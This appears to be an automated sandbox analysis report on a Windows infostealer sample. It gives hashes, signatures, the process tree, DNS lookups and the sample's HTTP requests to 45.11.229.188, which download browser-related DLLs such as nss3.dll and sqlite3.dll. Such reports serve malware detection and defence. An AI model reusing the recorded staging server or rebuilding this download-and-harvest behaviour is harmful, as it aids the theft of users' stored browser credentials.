Analysis
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max time kernel
91s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
31-05-2023 06:34
Behavioral task
behavioral1
Sample
05780099.exe
Resource
win7-20230220-en
General
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Target
05780099.exe
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Size
93KB
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MD5
91ff158a97a75d49914efb44b11ab82a
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SHA1
1e5b91b3a69eeb4d7c9286654bcaa36def7bb9df
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SHA256
4a2f1b219e41a49cca2f934b06adff82a4d2c639d1c620d14952f5763801449b
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SHA512
a3a9c811685ddf6125517a588197d4496d007cd89b5d34de3ee01694d052d8537d0d014f45ee75a8d97db0890bad6ffa34f88b682ae9e2ef9ea6c2eff0fa50a7
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SSDEEP
1536:gWTHVn5wa8TXvqHp6kzWgDaO3C54Gf3lagvHkMTafiyVDr1lVUl3jy0:gWTHVn8TXvc4O3CFvlaSED1Pgj/
Malware Config
Signatures
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Downloads MZ/PE file
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Loads dropped DLL 3 IoCs
pid Process 1688 05780099.exe 1688 05780099.exe 1688 05780099.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Program crash 1 IoCs
pid pid_target Process procid_target 3696 1688 WerFault.exe 81
Processes
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C:\Users\Admin\AppData\Local\Temp\05780099.exe"C:\Users\Admin\AppData\Local\Temp\05780099.exe"1⤵
- Loads dropped DLL
PID:1688 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1688 -s 13402⤵
- Program crash
PID:3696
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 1688 -ip 16881⤵PID:2116
Network
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Remote address:8.8.8.8:53Request209.205.72.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request254.135.241.8.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request32.146.190.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request123.108.74.40.in-addr.arpaIN PTRResponse
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Remote address:45.11.229.188:80RequestGET /public/sqlite3.dll HTTP/1.1
Host: 45.11.229.188
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 12 Aug 2021 16:54:23 GMT
ETag: "9d9d8-5c95f9639cdc0"
Accept-Ranges: bytes
Content-Length: 645592
Content-Type: application/x-msdos-program
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Remote address:45.11.229.188:80RequestGET /public/freebl3.dll HTTP/1.1
Host: 45.11.229.188
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 12 Aug 2021 16:54:22 GMT
ETag: "519d0-5c95f962a8b80"
Accept-Ranges: bytes
Content-Length: 334288
Content-Type: application/x-msdos-program
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Remote address:45.11.229.188:80RequestGET /public/mozglue.dll HTTP/1.1
Host: 45.11.229.188
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 12 Aug 2021 16:54:25 GMT
ETag: "217d0-5c95f96585240"
Accept-Ranges: bytes
Content-Length: 137168
Content-Type: application/x-msdos-program
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Remote address:45.11.229.188:80RequestGET /public/msvcp140.dll HTTP/1.1
Host: 45.11.229.188
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 12 Aug 2021 16:54:24 GMT
ETag: "6b738-5c95f96491000"
Accept-Ranges: bytes
Content-Length: 440120
Content-Type: application/x-msdos-program
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Remote address:45.11.229.188:80RequestGET /public/nss3.dll HTTP/1.1
Host: 45.11.229.188
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 12 Aug 2021 16:54:22 GMT
ETag: "1303d0-5c95f962a8b80"
Accept-Ranges: bytes
Content-Length: 1246160
Content-Type: application/x-msdos-program
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Remote address:45.11.229.188:80RequestGET /public/softokn3.dll HTTP/1.1
Host: 45.11.229.188
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 12 Aug 2021 16:54:24 GMT
ETag: "235d0-5c95f96491000"
Accept-Ranges: bytes
Content-Length: 144848
Content-Type: application/x-msdos-program
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Remote address:45.11.229.188:80RequestGET /public/vcruntime140.dll HTTP/1.1
Host: 45.11.229.188
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 12 Aug 2021 16:54:24 GMT
ETag: "14748-5c95f96491000"
Accept-Ranges: bytes
Content-Length: 83784
Content-Type: application/x-msdos-program
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Remote address:8.8.8.8:53Request188.229.11.45.in-addr.arpaIN PTRResponse188.229.11.45.in-addr.arpaIN PTR�
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Remote address:8.8.8.8:53Request58.55.71.13.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request86.23.85.13.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request86.23.85.13.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request15.164.165.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request44.8.109.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request2.36.159.162.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request26.165.165.52.in-addr.arpaIN PTRResponse
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105.1kB 3.1MB 2274 2240
HTTP Request
GET http://45.11.229.188/public/sqlite3.dllHTTP Response
200HTTP Request
GET http://45.11.229.188/public/freebl3.dllHTTP Response
200HTTP Request
GET http://45.11.229.188/public/mozglue.dllHTTP Response
200HTTP Request
GET http://45.11.229.188/public/msvcp140.dllHTTP Response
200HTTP Request
GET http://45.11.229.188/public/nss3.dllHTTP Response
200HTTP Request
GET http://45.11.229.188/public/softokn3.dllHTTP Response
200HTTP Request
GET http://45.11.229.188/public/vcruntime140.dllHTTP Response
200 -
322 B 7
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322 B 7
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260 B 5
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322 B 7
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322 B 7
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72 B 158 B 1 1
DNS Request
209.205.72.20.in-addr.arpa
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72 B 126 B 1 1
DNS Request
254.135.241.8.in-addr.arpa
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72 B 158 B 1 1
DNS Request
32.146.190.20.in-addr.arpa
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73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
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72 B 146 B 1 1
DNS Request
123.108.74.40.in-addr.arpa
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72 B 86 B 1 1
DNS Request
188.229.11.45.in-addr.arpa
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70 B 144 B 1 1
DNS Request
58.55.71.13.in-addr.arpa
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140 B 288 B 2 2
DNS Request
86.23.85.13.in-addr.arpa
DNS Request
86.23.85.13.in-addr.arpa
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72 B 146 B 1 1
DNS Request
15.164.165.52.in-addr.arpa
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70 B 144 B 1 1
DNS Request
44.8.109.52.in-addr.arpa
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71 B 133 B 1 1
DNS Request
2.36.159.162.in-addr.arpa
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72 B 146 B 1 1
DNS Request
26.165.165.52.in-addr.arpa
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
133KB
MD58f73c08a9660691143661bf7332c3c27
SHA137fa65dd737c50fda710fdbde89e51374d0c204a
SHA2563fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd
SHA5120042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89
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Filesize
1.2MB
MD5bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
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Filesize
630KB
MD5e477a96c8f2b18d6b5c27bde49c990bf
SHA1e980c9bf41330d1e5bd04556db4646a0210f7409
SHA25616574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660
SHA512335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c